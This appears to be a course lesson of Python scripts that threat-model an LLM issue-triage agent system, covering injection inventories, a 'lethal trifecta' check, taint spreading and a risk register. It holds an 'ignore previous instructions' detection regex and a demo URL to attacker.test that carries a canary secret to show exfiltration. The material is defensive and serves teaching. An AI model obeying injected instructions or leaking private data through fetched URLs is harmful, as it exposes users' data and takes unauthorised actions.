Threat Modeling LLM Applications

# script_id: day_068_threat_modeling/find_untrusted_text
# Inventory of attacker-written text in the Orbit data (an input to the threat model, not a filter).
# Install: none (stdlib). Env: ORBIT_DATA (default datasets/orbit). Services: none.
import json
import os
import re
from pathlib import Path

DATA_DIR = Path(os.environ.get("ORBIT_DATA", "datasets/orbit"))
ADDRESSED_TO_AI = re.compile(
    r"ai assistant|automated (triage )?(tools?|assistants?)|triage assistants?"
    r"|ignore (all |your )?previous instructions",
    re.IGNORECASE,
)

issues = [json.loads(line) for line in (DATA_DIR / "issues" / "issues.jsonl").open(encoding="utf-8")]
hits = [i["id"] for i in issues if ADDRESSED_TO_AI.search(i["body"])]
print(f"issues addressed to an AI: {hits} (of {len(issues)})")

for page in sorted((DATA_DIR / "docs_poisoned").glob("*.md")):
    found = ADDRESSED_TO_AI.search(page.read_text(encoding="utf-8"))
    print(f"{page.name}: {'addressed to an AI' if found else 'no marker found'}")

issues addressed to an AI: [20, 46, 92, 159, 180, 204] (of 240)
poisoned-dlq-replay-guide.md: addressed to an AI
poisoned-sqs-idempotency-notes.md: addressed to an AI

# script_id: day_068_threat_modeling/napkin_trifecta
# Toy trifecta check for two email assistants. Install: none. Env: none.
BOTS = {
    # name: (reads private data, sees untrusted content, can send data out)
    "email_bot": (True, True, True),     # reads the inbox, which strangers write to, and can send mail
    "summary_bot": (True, True, False),  # same inbox, no send tool
}

for name, flags in BOTS.items():
    legs = [leg for leg, on in zip(("private", "untrusted", "exfil"), flags) if on]
    verdict = "TRIFECTA" if len(legs) == 3 else "ok"
    print(f"{name}: {verdict} ({'+'.join(legs)})")

email_bot: TRIFECTA (private+untrusted+exfil)
summary_bot: ok (private+untrusted)

# script_id: day_068_threat_modeling/threats
# atlas/threats.py: the threat model as code (flows, components, threats).
# Install: none (stdlib only). Env: none. Services: none. No model calls.
from __future__ import annotations

import re
from dataclasses import dataclass, field, replace
from pathlib import Path


@dataclass
class Flow:
    src: str
    dst: str
    data: str
    crosses_boundary: bool         # data changes who controls it; drawn dotted
    carries_raw_text: bool = True  # False once Day 69 turns it into typed fields


R4_FLOWS = [
    Flow("reporter", "investigator", "issue text", crosses_boundary=True),
    Flow("investigator", "openai", "prompt and context", crosses_boundary=True),
    Flow("investigator", "mcp_server", "doc query", crosses_boundary=False),
    Flow("investigator", "triager", "diagnosis and issue text", crosses_boundary=False),
    Flow("triager", "responder", "labels and issue text", crosses_boundary=False),
    Flow("responder", "maintainer", "draft reply", crosses_boundary=True),
    Flow("maintainer", "tracker", "approved actions", crosses_boundary=True),
]
ZONES = {"reporter": "Internet", "openai": "Provider", "maintainer": "Maintainers", "tracker": "Maintainers",
         "investigator": "Atlas", "triager": "Atlas", "responder": "Atlas", "mcp_server": "Atlas"}


def _nid(name: str) -> str:
    return re.sub(r"\W", "_", name)  # Mermaid ids must be plain words; labels stay quoted


def to_mermaid(flows: list[Flow], zones: dict[str, str] | None = None) -> str:
    """Render flows as a Mermaid flowchart; boundary-crossing edges are dotted."""
    zones = zones or {}
    lines = ["flowchart LR"]
    for zone in sorted(set(zones.values())):
        members = [f'    {_nid(n)}["{n}"]' for n, z in zones.items() if z == zone]
        lines += [f'  subgraph {_nid(zone)}_zone["{zone}"]', *members, "  end"]
    for f in flows:
        arrow = "-.->" if f.crosses_boundary else "-->"
        lines.append(f'  {_nid(f.src)} {arrow}|"{f.data}"| {_nid(f.dst)}')
    return "\n".join(lines)

# script_id: day_068_threat_modeling/threats
@dataclass
class Component:
    """A box in the DFD driven by a model: an agent, a graph node, a tool-using step."""
    name: str
    reads_private: bool        # memory, other users' data, internal notes, secrets
    sees_untrusted: bool       # any text a stranger could have written, including tool output
    can_communicate_out: bool  # any channel that leaves Atlas: comments, URLs, email
    tools: list[str] = field(default_factory=list)


def legs(c: Component) -> list[str]:
    flags = {"private": c.reads_private, "untrusted": c.sees_untrusted, "exfil": c.can_communicate_out}
    return [leg for leg, on in flags.items() if on]


def trifecta_check(components: list[Component]) -> list[str]:
    """Names of components holding all three legs. The goal is an empty list."""
    return [c.name for c in components if len(legs(c)) == 3]


# R3 as built with its offline tool set, plus the planned R4 agents (Day 76). Names only, no imports.
ATLAS = [
    Component("investigator", reads_private=True, sees_untrusted=True, can_communicate_out=False,
              tools=["search_docs", "get_doc_section", "search_issues", "get_issue", "ask"]),
    Component("triager", reads_private=False, sees_untrusted=True, can_communicate_out=False,
              tools=["add_label"]),
    Component("responder", reads_private=False, sees_untrusted=True, can_communicate_out=False,
              tools=[]),  # drafts only; a maintainer posts
    Component("mcp_server", reads_private=False, sees_untrusted=True, can_communicate_out=False,
              tools=["search_docs", "ask"]),  # docs can be poisoned, see docs_poisoned/
]

# script_id: day_068_threat_modeling/trifecta_report
# Trifecta report for Atlas: per component first, then across agents.
# Install: none. Needs threats.py (the script above) in the same folder.
from threats import ATLAS, R4_FLOWS, legs, taint, trifecta_check

for c in ATLAS:
    print(f"{c.name:<13} {'+'.join(legs(c))}")
print("trifecta:", trifecta_check(ATLAS) or "none")

investigator  private+untrusted
triager       untrusted
responder     untrusted
mcp_server    untrusted
trifecta: none

# script_id: day_068_threat_modeling/threats
def taint(components: list[Component], flows: list[Flow]) -> list[Component]:
    """Copy each component, then spread private/untrusted along raw-text flows to a fixpoint."""
    by_name = {c.name: replace(c) for c in components}
    changed = True
    while changed:  # repeat because legs travel over chains: investigator -> triager -> responder
        changed = False
        for f in flows:
            src, dst = by_name.get(f.src), by_name.get(f.dst)
            if not (src and dst and f.carries_raw_text):
                continue
            for attr in ("reads_private", "sees_untrusted"):
                if getattr(src, attr) and not getattr(dst, attr):
                    setattr(dst, attr, True)
                    changed = True
    return list(by_name.values())

# script_id: day_068_threat_modeling/trifecta_report
print("--- across agents ---")
for c in taint(ATLAS, R4_FLOWS):
    print(f"{c.name:<13} {'+'.join(legs(c))}")

--- across agents ---
investigator  private+untrusted
triager       private+untrusted
responder     private+untrusted
mcp_server    private+untrusted

# script_id: day_068_threat_modeling/break_it_add_tool
# Give the responder post_comment (planned for R4), then show a "read-only" URL leaking data.
# Install: none. Needs threats.py in the same folder.
from dataclasses import replace
from urllib.parse import parse_qs, urlencode, urlparse

from threats import ATLAS, R4_FLOWS, taint, trifecta_check

with_post = [replace(c, can_communicate_out=True, tools=[*c.tools, "post_comment"])
             if c.name == "responder" else c for c in ATLAS]
print("before:", trifecta_check(taint(ATLAS, R4_FLOWS)) or "none")
print("after: ", trifecta_check(taint(with_post, R4_FLOWS)))

# Fetching a URL counts as an outbound channel: the URL itself carries the data.
secret = "ORBIT-CANARY-3f9a"  # stands in for anything private in the context
url = "https://attacker.test/lookup?" + urlencode({"q": f"orbit dlq {secret}"})
print("model opens:", url)
print("attacker's server log:", parse_qs(urlparse(url).query)["q"][0])

before: none
after:  ['responder']
model opens: https://attacker.test/lookup?q=orbit+dlq+ORBIT-CANARY-3f9a
attacker's server log: orbit dlq ORBIT-CANARY-3f9a

# script_id: day_068_threat_modeling/agency_audit
# Classify planned R4 tool grants by OWASP LLM06's three root causes.
# Install: none. Env: none. Scope names are illustrative, not a real tracker's scopes.
from dataclasses import dataclass


@dataclass
class Grant:
    tool: str
    needed_for: str | None  # the task that needs it; None means no task does
    scope: str              # what the credential can touch
    needs_scope: str        # what the task touches
    runs_without_approval: bool
    reversible: bool


def audit(g: Grant) -> list[str]:
    cuts = []
    if g.needed_for is None:
        cuts.append("functionality: remove the tool")
    if g.scope != g.needs_scope:
        cuts.append(f"permissions: narrow {g.scope} to {g.needs_scope}")
    if g.runs_without_approval and not g.reversible:
        cuts.append("autonomy: require approval")
    return cuts or ["ok"]


PLANNED = [
    Grant("add_label", "triage", "repo:write", "issues:labels", True, True),
    Grant("post_comment", "reply", "repo:write", "issues:comment", True, False),
    Grant("close_issue", None, "repo:write", "issues:write", True, False),  # the injection asks for it
    Grant("search_issues", "investigate", "orbit.db read-only", "orbit.db read-only", True, True),
]
for g in PLANNED:
    print(f"{g.tool:<14} {'; '.join(audit(g))}")

add_label      permissions: narrow repo:write to issues:labels
post_comment   permissions: narrow repo:write to issues:comment; autonomy: require approval
close_issue    functionality: remove the tool; permissions: narrow repo:write to issues:write; autonomy: require approval
search_issues  ok

# script_id: day_068_threat_modeling/threats
@dataclass
class Threat:
    id: str
    title: str
    owasp: list[str]
    component: str
    likelihood: int      # 1 rare .. 5 expected (attack text already sits in our data)
    impact: int          # 1 cosmetic .. 5 wrong public action or data leak
    mitigation_day: int  # the day that closes it
    status: str          # open | partial | mitigated
    entry_point: str = ""

    @property
    def risk(self) -> int:
        return self.likelihood * self.impact


T = Threat
THREATS = [
    T("T01", "Injection via issue or comment", ["LLM01"], "investigator", 5, 4, 69, "open", "issue body, comments"),
    T("T02", "Injection via docs or tool output", ["LLM01", "LLM08"], "investigator", 4, 4, 69, "open",
      "search_docs, web results"),
    T("T03", "Write tools reachable from untrusted context", ["LLM06"], "triager", 4, 5, 69, "open",
      "add_label, post_comment"),
    T("T04", "System prompt or canary leak", ["LLM07", "LLM02"], "responder", 4, 2, 69, "open", "reply draft"),
    T("T05", "Harmful or off-policy input/output", ["LLM01", "LLM09"], "responder", 3, 3, 70, "open", "reply draft"),
    T("T06", "Unsafe rendering, XSS, image exfiltration", ["LLM05", "LLM02"], "responder", 3, 4, 71, "open",
      "markdown in replies"),
    T("T07", "Model output into SQL, shell or paths", ["LLM05"], "investigator", 2, 5, 71, "partial",
      "search_issues SQL, doc paths"),
    T("T08", "Untrusted code execution", ["LLM05", "LLM06"], "investigator", 2, 5, 72, "open", "repro snippets"),
    T("T09", "PII in prompts, index, logs, traces, provider", ["LLM02"], "investigator", 4, 4, 73, "open",
      "issue body, traces"),
    T("T10", "Over-scoped creds, MCP passthrough, confused deputy, tool poisoning", ["LLM06", "LLM03"],
      "mcp_server", 3, 5, 74, "open", "MCP tool calls, tokens"),
    T("T11", "Unbounded consumption", ["LLM10"], "investigator", 3, 3, 83, "partial", "huge issues, loops"),
    T("T12", "Silent security regressions", [], "ci", 4, 3, 75, "open", "prompt, tool or model changes"),
]

# script_id: day_068_threat_modeling/threats
FENCE = "`" * 3  # built at runtime so this file never contains a bare fence line


def render_threat_model(path: str | Path = "THREAT_MODEL.md", components: list[Component] | None = None,
                        flows: list[Flow] | None = None) -> Path:
    """Write THREAT_MODEL.md: the DFD, the cross-agent trifecta report and the register by risk."""
    flows = flows or R4_FLOWS
    comps = taint(components or ATLAS, flows)
    flagged = trifecta_check(comps)
    out = ["# Atlas threat model", "", "## Data flows", "", f"{FENCE}mermaid", to_mermaid(flows, ZONES), FENCE,
           "", "## Lethal trifecta (across agents)", ""]
    out += [f"- **{c.name}**: {'+'.join(legs(c))}{' (TRIFECTA)' if c.name in flagged else ''}" for c in comps]
    out += ["", "## Threat register", "", "| ID | Threat | OWASP | Component | Entry point | L×I | Day | Status |",
            "|---|---|---|---|---|---|---|---|"]
    for t in sorted(THREATS, key=lambda t: -t.risk):
        out.append(f"| {t.id} | {t.title} | {', '.join(t.owasp) or '(process)'} | {t.component} | "
                   f"{t.entry_point} | {t.likelihood}×{t.impact}={t.risk} | D{t.mitigation_day} | {t.status} |")
    target = Path(path)
    target.write_text("\n".join(out) + "\n", encoding="utf-8")
    return target

# script_id: day_068_threat_modeling/threat_register
# Print the top of the register and write THREAT_MODEL.md. Install: none. Needs threats.py alongside.
from threats import THREATS, render_threat_model

for t in sorted(THREATS, key=lambda t: -t.risk)[:5]:
    print(f"{t.id} risk={t.risk:>2} D{t.mitigation_day} {t.status:<7} {t.title}")
path = render_threat_model("THREAT_MODEL.md")
print(f"wrote {path} ({len(path.read_text(encoding='utf-8').splitlines())} lines)")

T01 risk=20 D69 open    Injection via issue or comment
T03 risk=20 D69 open    Write tools reachable from untrusted context
T02 risk=16 D69 open    Injection via docs or tool output
T09 risk=16 D73 open    PII in prompts, index, logs, traces, provider
T10 risk=15 D74 open    Over-scoped creds, MCP passthrough, confused deputy, tool poisoning
wrote THREAT_MODEL.md (54 lines)

# script_id: day_068_threat_modeling/ai_disclosure
# Every Atlas reply carries a visible AI disclosure. Install: none. Env: none.
DISCLOSURE = "_Drafted by Atlas (AI) and reviewed by a maintainer before posting._"


def with_disclosure(body_md: str) -> str:
    """Append the disclosure once; safe to call again on retries or edits."""
    body = body_md.rstrip()
    return body if body.endswith(DISCLOSURE) else f"{body}\n\n---\n{DISCLOSURE}"


draft = "Thanks for the report. This looks like a typo in `cli-reference`; a maintainer will confirm."
once = with_disclosure(draft)
assert with_disclosure(once) == once  # idempotent: a retried post never doubles the footer
print(once)

Thanks for the report. This looks like a typo in `cli-reference`; a maintainer will confirm.

---
_Drafted by Atlas (AI) and reviewed by a maintainer before posting._